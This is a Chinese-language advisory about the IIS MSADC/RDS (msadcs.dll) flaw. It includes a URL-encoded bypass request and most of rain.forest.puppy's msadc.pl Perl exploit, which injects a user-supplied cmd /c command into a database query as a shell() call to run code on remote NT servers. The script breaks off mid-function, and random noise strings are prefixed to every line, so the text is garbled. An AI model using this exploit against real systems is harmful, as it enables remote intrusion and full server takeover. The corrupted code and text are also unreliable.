IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
pm*6&, M=57 d7 涉及程序:
8?L7h\)- Microsoft NT server
o+H;ZGT5H
{ws:g![ 描述:
"v"w ER? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
483BrFV \9*,[mvC 详细:
qw!_/Z3[ 如果你没有时间读详细内容的话,就删除:
j&G*$/lTO6 c:\Program Files\Common Files\System\Msadc\msadcs.dll
llf|d'5Nl 有关的安全问题就没有了。
!;YmLJk;hN CywQ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
`g;`yJX< L
y!!+UM\ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
%lw!4Z\gg 关于利用ODBC远程漏洞的描述,请参看:
S
z3@h" FQbF)K~e http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm +$eEZ;4 Yxal% 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
xp395ub6 http://www.microsoft.com/security/bulletins/MS99-025faq.asp .@Z-<P" fE\;C bi 这里不再论述。
2Mc}>UI?eO wX3x.@!: 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Z;^UY\&X A
'Q
nL /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
>g+ogwZ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
xwwy9:ze*l Yy4?|wVl F 8\nAX #将下面这段保存为txt文件,然后: "perl -x 文件名"
/$ 7_*4e nyZUf{: #!perl
@
(UacFO #
7*e7P[LQU # MSADC/RDS 'usage' (aka exploit) script
A~CQ@ #
IAD_Tck # by rain.forest.puppy
3H0~?z_ #
UIUCj8QJg # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
rUX1Iu7 # beta test and find errors!
D Hkmn -Mb`I >= use Socket; use Getopt::Std;
z@lUaMm:F getopts("e:vd:h:XR", \%args);
R"S,& ~aK@M4 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Wx;`=9 /7$3RV( if (!defined $args{h} && !defined $args{R}) {
NR8YVO)5$ print qq~
TSQ/{=r Usage: msadc.pl -h <host> { -d <delay> -X -v }
`TM[7' -h <host> = host you want to scan (ip or domain)
:nuMakZZ -d <seconds> = delay between calls, default 1 second
Yg5m=Lis -X = dump Index Server path table, if available
wG1A]OJl1 -v = verbose
niZ/yW{w -e = external dictionary file for step 5
@$R[Js%MuO 9rr"q5[ Or a -R will resume a command session
dMAd-q5{ C.r9)#G ~; exit;}
"#T3l^@ 1C [j:Ly/ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
~.;S>o[ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
tL?nO#Qx if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
i-(^t1c if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
6m_whGosi $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
%&L]k>n^ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
VU1;ZJE 6vVx>hFJ47 if (!defined $args{R}){ $ret = &has_msadc;
wl1JKiodg die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
bgW=.s E>j*m}b print "Please type the NT commandline you want to run (cmd /c assumed):\n"
fr~e!!$H . "cmd /c ";
nRpZ;X)'. $in=<STDIN>; chomp $in;
D2$"!7O1H $command="cmd /c " . $in ;
#GBe=tm\K 8~QEJW$ if (defined $args{R}) {&load; exit;}
#P,mZ}G\ *R17 KMS print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
2QUZAV\ Y &try_btcustmr;
[KIK}: -G<$wh9~3 print "\nStep 2: Trying to make our own DSN...";
l4oI5)w &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
@\,WJmW V j\1HQ print "\nStep 3: Trying known DSNs...";
.6Swc? &known_dsn;
&8R %W"<K g{&a|NU^ print "\nStep 4: Trying known .mdbs...";
H\tz"<*`` &known_mdb;
B_w;2ZuA "]}+QK_ if (defined $args{e}){
-ec~~95 print "\nStep 5: Trying dictionary of DSN names...";
bP%0T++vo &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
Hcw@24ic |A_yr/f print "Sorry Charley...maybe next time?\n";
OO..
Y exit;
wv>uT{g# Z~}=q ##############################################################################
M{S7tMX 30 VvZb sub sendraw { # ripped and modded from whisker
k~ #F@_ sleep($delay); # it's a DoS on the server! At least on mine...
>W,1s my ($pstr)=@_;
,5jE9 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
h>,yqiY4p die("Socket problems\n");
"j5b$T0P> if(connect(S,pack "SnA4x8",2,80,$target)){
' bio:1 select(S); $|=1;
C'C'@?] print $pstr; my @in=<S>;
SRq0y,d select(STDOUT); close(S);
OM!CP'u#{ return @in;
KDP7u } else { die("Can't connect...\n"); }}
[\NyBc /esSM~*H ##############################################################################
>#z*gCO5, pEIc?i* sub make_header { # make the HTTP request
rf"%D<bb my $msadc=<<EOT
unqX<6hu POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
f $MVgX User-Agent: ACTIVEDATA
<>,V>k| Host: $ip
T)Byws Content-Length: $clen
[xT2c.2__J Connection: Keep-Alive
noiUi>G;: 6 flc ADCClientVersion:01.06
\HFeEEKH Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
g+gHIb7{ (q+U5Ls6 --!ADM!ROX!YOUR!WORLD!
0eY$K7
U Content-Type: application/x-varg
*V(TNLIh; Content-Length: $reqlen
LGq}wxq {uEu
^6a5 EOT
J2_D P ; $msadc=~s/\n/\r\n/g;
T_CYSS|fX return $msadc;}
s$e0;C!D @)m H"u!(7 ##############################################################################
K1O0/2O |,F/_ sub make_req { # make the RDS request
)P\Vd # my ($switch, $p1, $p2)=@_;
^YzFEu$ my $req=""; my $t1, $t2, $query, $dsn;
6dO )] kK nz
F if ($switch==1){ # this is the btcustmr.mdb query
YK#bzu ,! $query="Select * from Customers where City=" . make_shell();
}?xu/C $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1,fjdd8OM; $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
afRUBjs #"%=7( elsif ($switch==2){ # this is general make table query
_A%} >:q $query="create table AZZ (B int, C varchar(10))";
R*I{?+ $dsn="$p1";}
VJ P]Jy_ jJ-j elsif ($switch==3){ # this is general exploit table query
z8+3/jLN0B $query="select * from AZZ where C=" . make_shell();
Z+ [Nco $dsn="$p1";}
X_XeI!,b v/6QE;BY&Q elsif ($switch==4){ # attempt to hork file info from index server
7>`QX% $query="select path from scope()";
"YD<pRVB $dsn="Provider=MSIDXS;";}
:%qJ AjR& 1lu_<?O elsif ($switch==5){ # bad query
-?n|kSHX $query="select";
V}ZF\SG(K $dsn="$p1";}
DWDL|4
og Q}ho
Y $t1= make_unicode($query);
}~$zdgMT $t2= make_unicode($dsn);
l= % v $req = "\x02\x00\x03\x00";
Px:PoOw\ $req.= "\x08\x00" . pack ("S1", length($t1));
(</cu$w>H) $req.= "\x00\x00" . $t1 ;
D t\F]\6sd $req.= "\x08\x00" . pack ("S1", length($t2));
}ex2tkz $req.= "\x00\x00" . $t2 ;
Jla ;^X $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
|)QE+|?P return $req;}
#kT3Sx rz0~W6 U ##############################################################################
+9>t;
Ty _O~DJ" sub make_shell { # this makes the shell() statement
g&;:[&%T] return "'|shell(\"$command\")|'";}
"Q]`~u': T:S+Pt~ ##############################################################################
3=V79& NK'awv),pM sub make_unicode { # quick little function to convert to unicode
iO4YZ! my ($in)=@_; my $out;
DOiL3i"H for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
"Q;n-fqf return $out;}
N8;/Zd;^ rmutw~nHD ##############################################################################
!q!.OQ EI6K0{'&X sub rdo_success { # checks for RDO return success (this is kludge)
7u-o7#,X2 my (@in) = @_; my $base=content_start(@in);
\gy39xoW( if($in[$base]=~/multipart\/mixed/){
rWEJCFa return 1 if( $in[$base+10]=~/^\x09\x00/ );}
D U#6%8~ return 0;}
?)k;.<6 <)+9PV<w ##############################################################################
%g}ri8
?"[b408- sub make_dsn { # this makes a DSN for us
sEq_K#n{ my @drives=("c","d","e","f");
@D&V